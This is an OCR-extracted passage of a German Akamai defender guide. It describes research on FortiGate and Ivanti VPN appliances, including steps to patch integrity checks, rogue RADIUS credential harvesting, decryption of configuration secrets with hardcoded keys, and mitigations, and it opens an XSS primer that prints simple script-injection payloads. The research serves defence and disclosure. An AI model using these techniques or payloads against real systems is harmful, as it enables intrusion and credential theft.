Schwachstellen zu finden. Mit diesem Wissen haben wir 2024 ein Projekt gestartet, um die
potenziellen Auswirkungen eines erfolgreichen VPN-Angriffs zu verstehen. Traditionell
beschreibt eine Sicherheitsverletzung erst einmal nur das Eindringen ins
Unternehmensnetzwerk - aber was passiert nach dem Eindringen?
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Knacken eines VPN

Wer in der Vergangenheit eine VPN-Appliance untersuchen wollte, musste sie physisch
kaufen, die Verkleidung abnehmen, um auf die Platine zuzugreifen, und entweder einen
Debug-Port verbinden oder per Flash die Firmware abrufen. Heutzutage finden sich haufig
virtuelle VPN-Appliances, die als virtuelle Maschinen (VMs) geladen werden kdnnen.

Normalerweise bestehen diese VMs aus einem Bootloader-Image, einem Kernel-
Image und einem Dateisystem. Auch fur diese Komponenten sind mehrere
Schutzvorrichtungen verflgbar. Beispielsweise fihren der FortiGate-Bootloader und
-Kernel wahrend der Ausfiihrung mehrere Integritats- und Signaturiiberprifungen
durch, um sicherzustellen, dass sie nicht manipuliert werden. Um die Vertraulichkeit
zu gewahrleisten, wird auch das Dateisystem selbst durch Verschllsselung gesichert
und nur entschlusselt, wahrend die Appliance ausgefihrt wird.

Aus unseren Untersuchungen geht hervor, dass die folgenden zwolf Schritte
erforderlich sind, um eine virtuelle FortiGate-Appliance in eine Forschungsumgebung
mit Remote-Shell zu verwandeln:

1. Virtuelles Laufwerk der Appliance extrahieren

2. Root-Dateisystem entschlisseln

3. Haupt-bin-Archiv extrahieren

4. Integritatsprufung von /bin/init patchen

5. Kernel-lmage zur einfacheren Analyse in eine ELF-Datei umwandeln

6. Adresse von fgt_verify_initrd finden, damit sie wahrend der Ausfiihrung
gepatcht werden kann, um weitere Integritatsprifungen zu umgehen

7. Statisch kompilierte Busybox und gdb in /bin/ ablegen

8. Stub kompilieren, der einen Telnet-Server erstellt; /bin/smartct/ mit diesem
Stub Uberschreiben

9. /bin/-Ordner wieder in ein Archiv komprimieren

10. Root-Dateisystem erneut packen und verschliisseln

11. Padding am Ende des verschlisselten Dateisystems hinzufligen
12. Gepacktes Dateisystem auf VM ersetzen

Dieser Prozess istin Abbildung 11 dargestellt.
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Extrahieren Sie das verschlus-
selte Dateisystem vom virtuellen
Laufwerk der Appliance.

Speichern Sie das gednderte
gepackte Dateisystem auf
der virtuellen Festplatte.

Packen Sie Kernel und

Binirdateien erneut; Entschlisseln Sie das Dateisystem

verschliisseln Sie das . und stellen Sie Kernel-Image und
Dateisystem neu. 0 Hauptbinardateien wieder her.
Fligen Sie Telnet-Server und Patchen Sie
Debugger hinzu. Integritatsprifungen und

E -verifizierungen.

Abb. 11: Patching von FortiGate in einer Forschungsumgebung

Wie Sie sehen, ist es ein langer und miihsamer Prozess, die internen Funktionen einer
VPN-Appliance zu untersuchen. Netzwerkverteidiger konnen daftir leider nicht so viel
Zeit und Ressourcen bereitstellen. Die Cyberkriminellen hingegen kdnnen sich diesen

Aufwand leisten, insbesondere wenn sie durch potenzielle Exploits angetrieben werden.

Reverse Engineering einer VPN-Appliance

VPN-Appliances enthalten viele Komponenten. In der Regel umfassen diese
Komponenten einen HTTP-Server flr das Verwaltungsportal, eine Serverschnittstelle fur
das VPN selbst, eine nutzerdefinierte Management-Shell (um zu vermeiden, dass Nutzer
direkten Zugang zum Betriebssystem haben) und einige andere unterstlitzende Tools.

Angreifer versuchen in der Regel, die Authentifizierung zu umgehen, um sich entweder
mit dem Verwaltungsportal oder der Shell zu verbinden. Oder sie versuchen, in der
Implementierung des VPN-Protokolls Schwachstellen zu finden, um den Speicher zu
kompromittieren, damit sie einen Shellcode (und spater Malware) auf der Appliance
selbst ausflihren konnen.

Bei der Analyse der VPN-Appliance von FortiGate haben wir festgestellt, dass der
Admin-Webserver Apache-basiertist. Wir haben uns entschieden, mit dem Reverse
Engineering des API-Authentifizierungs-Handlers zu beginnen, da die Umgehung der
Authentifizierung der spannendste Part ist. Bei der Verarbeitung von HTTP-Anfragen
verwendet die Appliance ein Apache-Modul namens libapreq library, um
Clientanfragedaten zu verarbeiten. Es ist Uberraschend, dass die Bibliothek in der
Bindrdatei die dlteste verfligbare Version ist (Marz 2000). Fortinet verwendet das
Modul fast genau so, wie es vor 24 Jahren der Fall war - mit Ausnahme sehr kleiner
Anderungen bei Optimierungen.
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Fehlersuche

Wir haben mehrere Bugs in dieser Bibliothek gefunden, die wir Fortinetim Juni 2024
mitgeteilt haben und die am 14. Januar 2025 gepatcht wurden.

Unter den Bugs fanden wir einen OOB-Schreibvorgang (Out-of-Bounds), mit dem wir ein
Speicherbyte mit einem Null-Byte Uberschreiben konnen, sowie einen Wildcopy-Bug, mit
dem wir den Server dazu uberlisten konnen, einen groBen Puffer zu kopieren. Doch
aufgrund von Einschrankungen bei Daten und Ausfiihrung lassen sich beide Fehler nur
schwer fUr eine vollstandige Remote Code Execution ausnutzen. Wir haben einen
anderen OOB-Schreibvorgang gefunden, mit dem wir den Webserver-Fork, der unsere
Anfrage bearbeitet hat, abstlirzen lassen konnten. Da Fork-Vorgange kostspielig sind,
konnte das wiederholte Auslésen des Bugs zu einem DoS-Angriff (Denial-of-Service)
fuhren. AuBerdem wurde ein OOB-Lesevorgang gefunden, der zu einem Speicherverlust
fihren kann, bei dem Nutzeranmeldedaten offengelegt werden konnen.

Der schwerste Fehler, den wir in Fortinets eigenem Code gefunden haben, hat einen
DoS-Angriff verursacht. Wir haben den Dateiupload uiber die Anfragedaten angegeben.
Dadurch wurde eine neue Datei im Ordner /tmp erstellt. Der Webserver verfolgt diese
Dateien mithilfe einer verknlipften Liste, die diese Server im Speicher behalten. Doch es
gibt einen Bug, der dazu flihrt, dass der Server nur das erste Objekt in der Liste 16scht.
Deshalb konnten wir durch Angabe mehrerer Dateien in einer einzelnen Anfrage dafur
sorgen, dass Dateien im Ordner /tmp zurlickblieben. Da /tmp ein tmpfs-Dateisystem
ist, werden die Daten im RAM gespeichert. Das fuihrte zu einem vollstandigen OOM-
Fehler (Out of Memory) des Systems, wodurch das Gerat abstlirzte (Abbildung 12). Nur
ein Neustart des Gerats konnte es wieder in den Normalzustand versetzen - und selbst
das ist keine garantierte Losung. Bei einem unserer Versuche funktionierte selbst nach
dem Neustart des Gerats die Netzwerkfunktion nicht ordnungsgemaf und wir konnten
das Gerat weder verwenden noch eine Verbindung herstellen.

.

Ich méchte diese m m m

Dateien hochladen.

RAM

O (= |
r\ Ich bin fertig, _ [/mp/ |_:| El }

schlieBe die Sitzung.

Abb. 12: RAM der VPN-Appliance wird mit nicht geléschten Dateien geftillt, bis schlieB3lich ein
DoS erreicht ist, weil nicht genligend Speicher vorhanden ist.

Das sind nur die Bugs und CVEs, die Akamai gefunden hat. Im letzten Jahr wurden noch
viele weitere gefunden, darunter Fehler, die zu einer Authentifizierungsumgehung oder
vollstandigen Remote Code Execution fuhrten.
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Erfahrungsgeman wurden VPN-Server in erster Linie ausgenutzt, um ein einziges Ziel .. ..
zu erreichen: den Erstzugang. Angreifer kompromittierten mit dem Internet @ o ¥ L L
verbundene VPN-Server und nutzten sie aus, um sich Zugang zu internen Netzwerken o a @ '. o
zu verschaffen und dort Angriffe durchzuftihren. S

Obwohl dieser Ansatz sehr effektiv ist, haben wir uns gefragt, ob das alles ist, was Angreifer
tun konnen. SchlieBlich ist es (wie wir gesehen haben) ein sehr komplexes Verfahren, eine
VPN-Appliance zu Ubernehmen, um die zugrunde liegende Firmware zu andern. Daher haben
wir uns gefragt, ob es fiir Angreifer weitere, einfachere Methoden gibt. Wir haben uns fur
einen anderen Ansatz entschieden: eine ,einfachere” Form der VPN-Post-Exploitation, bei der
nur das Verwaltungsfenster und nativ verfiigbare Funktionen genutzt werden. Wir haben
diesen Ansatz ,Living off the VPN* genannt (frei Ubersetzt etwa ,Sich am VPN bedienen®).

Dieser Ansatz hat mindestens zwei Vorteile:

1. Diese Artdes Zugriffs kann in der Umsetzung einfacher sein als eine vollstandige
Remote Code Execution: Der Zugriff auf die Verwaltungsschnittstelle kann durch
eine Sicherheitslicke zur Authentifizierungsumgehung, durch schwache
Anmeldeinformationen oder durch Phishing erreicht werden.

2. Dieser Ansatz kann kostenglinstiger sein, da wir den Aufwand fiir die
Entwicklung einer maBgeschneiderten Payload vermeiden.

Wir haben zwei CVEs (CVE-2024-37374, CVE-2024-37375) und eine Reihe von
Umgehungsmethoden entdeckt, mit denen Angreifer, die den VPN-Server kontrollieren,
andere kritische Assets im Netzwerk Ubernehmen kdnnen. So kann durch einen
erfolgreichen Angriff auf ein VPN potenziell das gesamte Netzwerk gefahrdet werden.

Wir haben unsere Ergebnisse zwar anhand von FortiGate und Ivanti Connect Secure
demonstriert, doch wir glauben, dass Variationen dieser Techniken auch fiir andere
VPN-Server und Edge-Gerate relevant sein konnten.

Ausnutzung der legitimen Authentifizierung

In Ihrer Umgebung missen sich Nutzer (hoffentlich) beim VPN authentifizieren. Zwar ist es
maoglich, einzelne Nutzer manuell Gber die VPN-Admin-Oberflache zu konfigurieren, doch
diese Methode istin groBeren Unternehmen auBerst ineffizient - auBerdem entsteht Chaos
durch doppelte Nutzerverwaltung. Stattdessen unterstiitzen VPN-Appliances die
Integration von Drittanbieterauthentifizierung. Auf diese Weise konnen Nutzer ihre
normalen Anmeldedaten verwenden, um sich beim VPN zu authentifizieren (Abbildung 13).

Zugangsdaten uber

Nutze;z:g:gmeg:daten Authentifizierungsserver
- 9 _ validieren n ®
o = ° (=
Client b VPN-Server Authentifizierungsserver

Abb. 13: Verwendung eines Remote-Authentifizierungsservers zur Authentifizierung von Nutzern
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Das Lightweight Directory Access Protocol (LDAP) ist eine beliebte Wahl fiir VPN- A v a
Authentifizierungsserver und findet sich meist auf einem AD-Domaincontroller (Active " e '.'. N

Directory). Mit dieser Konfiguration kénnen Nutzer tUber ihre Domain-
Anmeldeinformationen auf das VPN zugreifen, was diese Methode zu einer besonders
praktischen Option macht.

Wenn die VPN-Appliance so konfiguriert ist, dass sie zur Authentifizierung mit einem LDAP-
Server arbeitet, muss sie selbst Uber ein Dienstkonto verfligen, mit dem sie sich authentifizieren
kann, damit sie dann die Nutzeranmeldedaten abfragen kann. Wir haben festgestellt, dass mit
einfachem LDAP (im Gegensatz zu LDAPS, der sicheren Version von LDAP) eine Verbindung
uber eine einfache Bindung hergestellt wird und sowohl das Dienstkonto als auch die
Nutzeranmeldedaten in Klartext libergeben werden (Abbildung 14). Die einfache LDAP-
Konfiguration ist bei einigen VPN-Anbietern die Standardeinstellung, sodass jeder Angreifer
mit Netzwerk-Sniffer sie einfach ausfindig machen kann. Wie erhalten Angreifer Netzwerk-
Sniffer-Funktionen? Diese Funktionen sind in viele VPN-Appliances integriert.

v Lightweight Directory Access Protocol
v LDAPMessage bindRequest(l) "cn=Administrator,cn=users,dc=aka,dc=test" simple
messageID: 1
v protocolOp: bindRequest (@)

v bindRequest
version: 3
name: cn=Administrator,cn=users,dc=aka,dc=test

v authentication: simple (©)
simple: P@sswerd

Abb. 14: LDAP-Zugangsdaten werden in Klartext (ibertragen.

Nicht autorisierte Authentifizierungsserver

Wie bereits erwahnt, wendet sich das VPN bei der Authentifizierung eines Remote-Nutzers an
den entsprechenden Authentifizierungsserver, um die angegebenen Anmeldeinformationen zu
uberprufen. Wir haben eine Methode identifiziert, die diesen Authentifizierungsfluss ausnutzt,
um alle von einem Nutzer bereitgestellten Anmeldedaten fir das VPN zu kompromittieren.

Bei dieser Technik wird ein manipulierter Authentifizierungsserver registriert, der vom VPN flr
die Nutzerauthentifizierung verwendet wird (Abbildung 15). Die spezifische Implementierung
variiert je nach VPN. Doch wir gehen grundlegend davon aus, dass die VPN-Appliance durch
die Registrierung unseres eigenen Authentifizierungsservers die Nutzeranmeldedaten zur
Validierung erhalt, was eine einfache Extraktion dieser Daten ermdglicht.

Zugangsdaten uber

Nutzerzugangsdaten S
anétbé% Authentifizierungsserver
- (= ] validieren = [O]
— o =] o =]
Client VVPN-Server Authentifizierungsserver

@ Zugangsdaten liber Authentifizierungsserver
des Angreifers validieren

- B3
= [

Abb. 15: Hinzufligen eines manipulierten Authentifizierungsservers,
um die Anmeldeinformationen des Clients zu kompromittieren
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Bei unserer Implementierung haben wir einen RADIUS-Authentifizierungsserver verwendet.
Die RADIUS-Authentifizierung ist in diesem Szenario aus zwei Griinden praktisch:

1. Zugangsdaten werden wahrend der ersten Anforderung an den Server gesendet,
ohne dass vorher geprift wird, ob der Nutzer auf dem Server vorhanden ist.

2. Anmeldedaten werden mit einem vom Angreifer bestimmten Schltssel
verschlusselt und an den Server gesendet, sodass der Angreifer die Datenim
Klartext abgreifen kann (Abbildung 16).

v RADIUS Protocol
Code: Access-Request (1)
Packet identifier: @x7a (122)
Length: 1338
Authenticator: 761l@lcdat9e416834865566aT1d99e77
[The response to this request is in frame 1251]
v Attribute Walue Pairs
AVP: t=NAS-Identifier(32) 1=13 wval=Juniper IVE
AVP: t=User-Name(l) 1=7 val=admin
v AVP: t=User-Password(2) 1=18 val=Encrypted
Type: 2
Length: 18
User-Password (encrypted): 2484244b28bBel2ledd85a7e56b371dT

Abb. 16: Ein verschltsseltes Kennwort in einer RADIUS-Authentifizierungsnachricht

Extrahieren der Secrets von Konfigurationsdateien

Eine praktische Funktion in VPNs ist die Mdglichkeit, inre Konfigurationen zu
exportieren, normalerweise um sie auf andere Appliances zu Ubertragen oder um sie
zwischen Upgrades zu sichern.

Unter den zahlreichen interessanten Einstellungen, die wir aus der Konfigurationsdatei
auslesen konnen, fallt eine Kategorie besonders auf: die Secrets. VPNs speichern viele
Geheimnisse in inrer Konfiguration, darunter lokale Nutzerkennworter, SSH-Schllssel,
Zertifikate und, was am interessantesten ist, Konten fiir von Drittanbietern
bereitgestellte Services. Ein Angreifer mit Zugriff auf die VPN-Appliance kann die
vorhandene Konfiguration exportieren, um Zugriff auf diese Geheimnisse zu erhalten.

Um sie zu schitzen, werden Geheimnisse in verschliisselter Formin der
Konfigurationsdatei gespeichert. Abbildung 17 zeigt ein Beispiel fUr ein verschlisseltes
Geheimnis in einer FortiGate-Konfigurationsdatei.

user local:
- guest:
type: password
passwd: ENC BAhcRumOucwyKL1o7WbjHgOLX3gVS1T1UIdn

Abb. 17: Ein verschliisseltes Kennwort in einer FortiGate-Konfigurationsdatei
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Man konnte meinen, dass diese Daten nicht wiederherstellbar sind - schlief3lich werden
in den meisten Implementierungen von Nutzerdatenbanken Passworter in gesalteter
und gehashter Form gespeichert, sodass sie nicht wiederherstellbar sind, falls die
Datenbank erfolgreich angegriffen wird. Bei der Integration von Drittanbietertools muss
das Kennwort jedoch wiederherstellbar sein, da es als Klartext an den
Authentifizierungsserver Ubergeben werden muss.

Unsere wichtigste Erkenntnis dreht sich um die Umgehung dieser Verschliisselung und
die Wiederherstellung des Geheimnisses in Klartext.

Entschliisseln von Secrets aus einer FortiGate-Konfigurationsdatei

FortiGate verwendet AES, um alle Secrets in der Konfiguration zu verschlisseln. Welcher
Schlissel wird daflir verwendet? Der Sicherheitsforscher Bart Dopheide fand heraus, dass
in samtlichen FortiGate-Appliances ein einzelner hartcodierter Schliissel verwendet wird
und dass dieser Schlissel nicht geandert werden kann. Fortinet wies diesem Problem
CVE-2019-6693 zu und implementierte eine Problembehebung, indem es Nutzern
erlaubte, den hartcodierten Schlissel in einen nutzerdefinierten Schllissel zu andern.

Auch nach dieser Problemldsung ist das Thema aktuell noch sehr relevant. Der Schllissel
wurde nicht geandert, weshalb FortiGate-Appliances standardmaBig immer noch den
gleichen Schliissel verwenden. Das bedeutet, dass, wenn ein Angreifer eine
Konfigurationsdatei eines FortiGate-Gerats mit der Standardkonfiguration erhalt, er alle
auf dem Gerat gespeicherten Secrets entschlisseln kann.

Gehen wir nun davon aus, dass ein FortiGate-Administrator die Best Practices befolgt
und einen nutzerdefinierten Schliissel anstelle des Standardschliissels verwendet. Wir
haben herausgefunden, dass wir, wenn wir das VPN kontrollieren, immer noch die
Secrets beschaffen konnen.

Administratoren konnen einfach die Einstellung fiir die Verschliisselung privater Daten
deaktivieren, mit der der nutzerdefinierte Verschlisselungsschlissel kontrolliert wird. Das
erfordert keine Kenntnis des derzeit konfigurierten Schliissels und setzt die
Verschlisselung aller Geheimnisse auf den urspriinglichen, hartcodierten Schllissel zuriick.

Warum ist das so wichtig? FortiGate unterstlitzt Integrationen mit verschiedenen
Anwendungen uUber die Funktion ,external connector®. Diese Connectors dienen
verschiedenen Zwecken, jedoch haben die meisten von ihnen einen wichtigen Aspekt
gemein: Sie bendtigen Anmeldedaten flir die Anwendung. Das bedeutet, dass FortiGate
Anmeldedaten fiir kritische Services wie Cloudanbieter, SAP, Kubernetes, ESXi und mehr
enthalten kann.

In einigen Fallen erfordern die Anmeldeinformationen hohe Privilegien fur die jeweilige .
Anwendung. Die Integration von ,Poll Active Directory Server® erfordert beispielsweise * . .
die Anmeldedaten eines Kontos mit Administratorzugriff auf einen Domaincontroller,

wodurch ein Angriff auf FortiGate sofort zu einer vollstandigen Kompromittierung der

Domain flhren kann.

Wir haben Fortinet diese Angriffstechnik mitgeteilt, aber zum Zeitpunkt dieses Berichts
haben sie dieses Problem noch nicht behoben, und es wurde keine CVE zugewiesen.
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Entschliisseln von Geheimnissen aus lvanti Connect Secure-Konfigurationsdateien

Ivanti Connect Secure verwendet einen nutzerdefinierten, komplexen
Verschlusselungsalgorithmus, der auf AES basiert. Das verursacht zwar einen groBeren
Aufwand fur Angreifer, doch die Verschllsselung basiert auf einem symmetrischen
Algorithmus und ist daher immer noch umkehrbar.

Wir haben festgestellt, dass Ivanti Connect Secure ebenfalls einen hartcodierten
Schlussel verwendet - und wir glauben, dass er seit mindestens 2015 nicht gedndert
wurde. Wir haben Ivanti diese Information mitgeteilt, und dem Problem wurde CVE-
2024-37374 zugewiesen.

DarUber hinaus haben wir festgestellt und offengelegt, dass Ivanti
Authentifizierungsdaten auf MDM-Servern (Mobile Device Management) in Klartext

VPN-Post-Exploitation-Techniken in der Praxis
Bisher haben wir nur theoretische Angriffstechniken besprochen, die wir in unserem

Labor ermittelt haben - aber gibt es daflir auch reale Beispiele? Wir glauben, ja.

Inihrem Cutting Edge-Bericht, in dem mehrere Exploit-Strategien fur lvanti-Gerate
besprochen werden, teilten die Forscher von Mandiant mit, dass Angreifer das auf dem

ohne Verschlisselung speichert. Diesem Problem wurde CVE-2024-37375 zugewiesen.

Ivanti-Gerat konfigurierte LDAP-Service-Konto kompromittieren konnten (Abbildung 18).

Lateral Movement Leading to Active Directory
Compromise

UNC5330 gained initial access to the victim environment by chaining together CVE-2024-21893 and
CVE-2024-21887, a tactic outlined in Cutting Edge Part 3. Shortly after gaining access, UNC5330
leveraged an LDAP bind account configured on the compromised Ivanti Connect Secure appliance|to

abuse a vulnerable Windows Certificate Template, created a computer object, and requested a
certificate for a domain administrator. The threat actor then impersonated the domain administrator to
perform subsequent DCSyncs to extract additional credential material to move laterally.

Abb. 18: Beispiel flir kompromittiertes L DAP-Konto (Quelle: Mandiant)

Der Mandiant-Bericht beschreibt nicht im Detail, wie die Angreifer das erreichen
konnten. Doch wir glauben, dass es ziemlich wahrscheinlich ist, dass die Angreifer die
Anmeldedaten mithilfe einer der Methoden abrufen konnten, die in diesem Bericht
vorgestellt werden, also entweder durch Extraktion aus der Konfigurationsdatei oder
mit einem Netzwerk-Sniffer.

Derartige Techniken sind einfach zu implementieren und kdnnen von Angreifern aller
Erfahrungsstufen eingesetzt werden.
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Minderung und Erkennung o & .. .l
s N
Da VPN-Appliances in der Regel eine Blackbox sind, ist es schwierig, sie ordnungsgeman ': A a .-.
zu Uberwachen, um Angriffe und Sicherheitsversto3e zu erkennen. Es gibt jedoch einige ) '. o o
Dinge, die Sie tun kdnnen, um die Auswirkungen erfolgreicher Angriffe zu begrenzen. 9 S

Dazu gehéren die Uberwachung von Konfigurationsanderungen, die Einschrankung von
Berechtigungen fiir Servicekonten, die Verwendung dedizierter Identitaten fir die
VPN-Authentifizierung und die Verwendung von Zero-Trust-Netzwerkzugriff.

Uberwachen von Konfigurationsinderungen

Die meisten der hier beschriebenen Techniken ziehen eine Art von
Konfigurationsanderung nach sich. RegelmaBige Exporte und Uberpriifungen der VPN-
Konfiguration sind sehr einfach durchzuflihren und kénnen langfristig dazu beitragen,
VPN-basierte Angriffe zu erkennen.

Berechtigungen von Servicekonten einschranken

Wie wir beschrieben haben, ist es sehr einfach, die Klartext-Kennworter der
Servicekonten wiederherzustellen, die auf VPN-Servern gespeichert sind. Es gibt keine
wirkliche Moglichkeit, dies zu verhindern, da VPNs in einigen Fallen die Verwendung von
Klartext-Kennwortern erfordern.

Um die Auswirkungen einer potenziellen VPN-Gefahrdung zu verringern, empfehlen wir
die Verwendung von Servicekonten mit weniger Berechtigungen - vorzugsweise mit
schreibgeschitztem Zugriff. Das mag zwar der offiziellen Dokumentation widersprechen,
doch wir haben festgestellt, dass einige Integrationen auch mit eingeschrankten
Berechtigungen gut funktionieren und dass die offizielle Dokumentation nur
unvorhergesehene Randfalle abdeckt.

Netzwerkadministratoren sollten verstehen, wie ein Angreifer die im VPN gespeicherten
Anmeldedaten nutzen kann, und sollten daflir sorgen, dass durch eine Kompromittierung
des VPN keine anderen kritischen Assets gefahrdet werden.

Verwenden dedizierter Identitaten fiir die VPN-Authentifizierung

Auch wenn es verlockend sein kann, vorhandene Authentifizierungsservices wie AD zu
verwenden, um Nutzer beim VPN zu authentifizieren, empfehlen wir, dies zu vermeiden.
Angreifer, die die Kontrolle tiber das VPN haben, konnen Anmeldeinformationen abrufen
und diese fur den Zugriff auf interne Assets verwenden, wodurch das VPN zu einer
zentralen Schwachstelle wird.

Wir empfehlen Ihnen, stattdessen eine separate, dedizierte Methode zu verwenden, um
Nutzer beim VPN zu authentifizieren. Beispielsweise konnen Sie eine zertifikatsbasierte
Authentifizierung umsetzen und dabei Zertifikate verwenden, die speziell fur diesen
Zweck ausgestellt werden.
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Verwenden von Zero Trust Network Access

Eines der Hauptprobleme herkommlicher VPNs ist ihr ,Alles oder nichts*-Konzept bei der
Erteilung des Netzwerkzugriffs: Die Nutzer sind entweder ,drinnen” (und haben
vollstandigen Zugriff auf das Netzwerk) oder ,drauBen® (und kdnnen auf nichts zugreifen).

Beide Szenarien sind problematisch. Einerseits mussen wir Nutzern Fernzugriff auf
interne Anwendungen gewahren. Andererseits sollen Angreifer nicht vollen Zugriff auf
das Netzwerk erhalten, wenn sie einen VPN-Server kompromittieren.

ldentitatsabhangige Sicherheit auf Grundlage des Zero-Trust-Prinzips ist eine sicherere
Alternative zu herkdmmlichen VPNs. Dieser Ansatz verwendet identitatsbasierte
Richtlinien und Echtzeitdaten - einschlieBlich Standort, Zeit und Geratesicherheit -, um
Nutzern nur Zugriff auf die erforderlichen Anwendungen zu gewahren. So entfallt der
breite Zugriff auf das Netzwerk. Auf diese Weise werden die Risiken im Zusammenhang
mit der Wartung und dem Patching von VPNs und anderen Appliance-basierten
Losungen fur sicheren Anwendungszugriff gemindert. Daruber hinaus ermoglicht die
Definition einzelner Netzwerkzugriffsrichtlinien pro Element, dass Nutzer zulassige
Remote-Vorgange ausfuhren konnen, wahrend gleichzeitig die Auswirkungen einer
potenziellen Sicherheitsverletzung reduziert werden.

Cross-Site Scripting

Webanwendungen sind so konzipiert, dass sie vom Nutzer bereitgestellte Daten
akzeptieren, verarbeiten und zurlickgeben. Nutzereingaben sind entscheidend, damit
das moderne Internet funktioniert, doch wir kdnnen diesen Eingaben nicht trauen.

So kann beispielsweise Cross-Site Scripting (XSS) auftreten, wenn eine
Webanwendung nicht richtig zwischen vertrauenswurdigen und nicht
vertrauenswirdigen Daten unterscheiden kann. Das Problem ist ein Mangel an Kontext.
Der Code, der eine XSS-Schwachstelle aufweist, hat keine Ahnung, ob die Daten, die im
HTML-Code enthalten sind, von einer vertrauenswurdigen Quelle stammen. Und das
Gleiche gilt wahrscheinlich fiir den Entwickler, der den Code geschrieben hat. Wenn
die Nutzereingabe an diesen Punkt gelangt, hatte sie bereits Dutzende anderer
Codeabschnitte durchlaufen kénnen. Alternativ hat dieser Code vielleicht
vertrauenswurdige Daten verwendet, doch aufgrund einer vorangegangenen
Anderung verarbeitet er jetzt nicht vertrauenswiirdige Nutzereingaben.

Es gibt zwar keine einfache Moglichkeit, dieses Problem zu I6sen, doch es gibt Ansatze, um

diese Herausforderung zu bewaltigen. Moderne Frameworks konnen Entwicklern dabei .
helfen, nicht vertrauenswiurdige Daten zu identifizieren. Die Vorgabe, dass ein weiteres ' .
Teammitglied Codeanderungen einem Peer-Review unterziehen muss, ist eine weitere .

gute Moglichkeit, um Kontext hinzuzufiigen. Allerdings kann keiner dieser Ansatze

garantieren, dass das Problem vollstandig behoben wird. Aber funktionieren sie zumindest

in den meisten Situationen? Wahrscheinlich - aber eben nicht in jeder Situation. Vielleicht

haben Sie es satt, sich mit dem gestaffelten Sicherheitskonzept zu befassen, aber dieser

Ansatz ist der einzige praktikable Weg, um dieses Problem zuverlassig zu I6sen.

Leitfaden fiir Abwehrspezialisten 2025 | Band 11, Ausgabe 01 Akamai.com | 26


https://www.akamai.com/de
https://www.akamai.com/de/resources/product-brief/enterprise-application-access
https://www.akamai.com/de/products/akamai-guardicore-platform

@kamai

Ist XSS tot?

In den letzten anderthalb Jahrzehnten gab es viele Stimmen, die uns erklaren wollten,
dass XSS ,tot“ ist und dass bestimmte Web-Frameworks vor XSS ,sicher” sind. Grof3e
Webbrowser haben Module eingefiihrt (und schon wieder eingestellt), um XSS zu
verhindern. Ist XSS wirklich tot und ein Problem der Vergangenheit? Wenn Sie das
lesen, kennen Sie sicher schon die Antwort auf diese Frage. XSS ist weiterhin eine der
haufigsten Schwachstellen in Webanwendungen und wird es auch bleiben.

Diese Studie konzentriert sich auf XSS-Schwachstellen, die nutzergesteuerte Eingaben
direkt im JavaScript-Kontext Gilbernehmen (oder ,reflektieren®), und untersucht, warum
Verteidigungsteams mit Ausgabeverschliisselung flir gestaffelte Sicherheit sorgen
sollten. Unser Ziel ist es, Verteidigern die notigen Tools an die Hand zu geben, um ihre
Anwendungen vor diesen XSS-Angriffen zu schitzen.

Crashkursin XSS

XSS-Schwachstellen sind eine Klasse von Injection-Angriffen, die dazu fiihren, dass
eine Webanwendung nicht vertrauenswiirdigen JavaScript-Code ausfiihrt. In den
meisten Fallen passiert das Ganze im Webbrowser. Je nach XSS-Typ gibt es
Abweichungen, doch im Allgemeinen akzeptiert die Webanwendung Inhalte vom
Nutzer und gibt sie an den Webbrowser zurtick. Der Browser geht davon aus, dass alle
Inhalte, die vom Webserver stammen, vertrauenswirdig sind. Daher hat das Skript
Zugriff auf Cookies, Sitzungstoken und alle anderen Informationen, die vom Browser fiir
die anfallige Website gespeichert werden. Weil Angreifer von ihnen kontrollierten Code
im Webbrowser des Opfers ausflihren konnen, kann ein erfolgreicher XSS-Angriff
zahlreiche Folgen haben, wie z. B. eine Sitzungslibernahme oder den Diebstahl
vertraulicher Informationen vom Opfer.

Klassifizierung von XSS-Schwachstellen

Es gibt viele Moglichkeiten, XSS-Schwachstellen zu klassifizieren und zu sortieren. Die
haufigste Methode zur Klassifizierung von XSS-Schwachstellen ist nach Typ, darunter
Reflected, Stored und DOM-based (Document Object Model). Die
Sicherheitscommunity hat auch damit begonnen, die Begriffe ,Client” und ,Server®
hinzuzufliigen, um anzugeben, wo die nicht vertrauenswurdigen Daten verwendet
werden. Fur diesen Bericht werden wir XSS jedoch in zwei Kategorien einteilen:

1. Payloads, die JavaScript-Kontext erstellen mussen

2. Payloads, die aufgrund der Art und Weise, wie sie dem Browser angezeigt
werden, bereits JavaScript-Kontext enthalten .

Payloads, die JavaScript-Kontext erstellen miissen

Die erste Kategorie ist wahrscheinlich das, was die meisten Menschen mit klassischen
XSS-Angriffen in Verbindung bringen. Bei diesen Angriffen wird in der Regel HTML-
Code gesendet, der JavaScript aufruft, um dann das Skript auszuflihren. Hierzu gibt es
verschiedene Methoden.

Leitfaden fiir Abwehrspezialisten 2025 | Band 11, Ausgabe 01 Akamai.com | 27


https://www.akamai.com/de

@kamai

Die Payload kann die Skript-Tags selbst einfligen:

JavaScript
<script>alert(1)</script>

Oder es kann eines der vielen HTML-Attribute verwenden, um anzugeben, dass etwas in
JavaScript ausgefiihrt werden soll:

JavaScript
<a href="javascript:alert(1)">XSS</a>

Zu guter Letzt kann die Payload Event Handler verwenden, um JavaScript auszufiihren:

JavaScript
<body onload=alert(1)>

Im Allgemeinen ist es ziemlich einfach, solche Payloads zu erkennen und zu blockieren.
Wenn Sie ein Skript-Tag in gultigem HTML-Code sehen oder ein gultiges HTML-Tag, das
einen Event-Handler enthalt, dann blockieren Sie es.

Payloads, die bereits JavaScript-Kontext enthalten

Bei dieser zweiten Kategorie ist es viel schwieriger, sie zuverlassig zu erkennen und zu
blockieren. Die Reflexion von Nutzereingaben in JavaScript ist unglaublich gefahrlich, da
es Angreifern die volle Flexibilitat von JavaScript bietet. Dieser Fall tritt am haufigstenin
Webanwendungen auf, die nutzerdefiniertes browserseitiges JavaScript verwenden. Das
ist jedoch keine Voraussetzung dafir, dass eine Webanwendung fiir XSS anféllig ist. In
jeder Situation, in der Nutzereingaben in JavaScript reflektiert werden, muss die Payload
JavaScript nicht selbst aufrufen. In den meisten Fallen wird dies durch die Verwendung
nutzerdefinierter Eingaben innerhalb einer JavaScript-Zeichenfolge verursacht.

Nehmen wir beispielsweise an, es gibt eine Website, auf der verschiedene Arten und Gro3en
von Monitoren angeboten werden. Sie verfugt tber eine Suchseite, auf der Nutzer nach
einer bestimmten Art von Monitor suchen konnen. Wenn ein Nutzer nach einem
bestimmten Monitor sucht, wird eine HT TP-Anfrage ausgefihrt, die dynamisch eine Zurtick-
Schaltflache erstellt, Uber die der Nutzer zu den Suchergebnissen zurtickkehren kann.

JavaScript
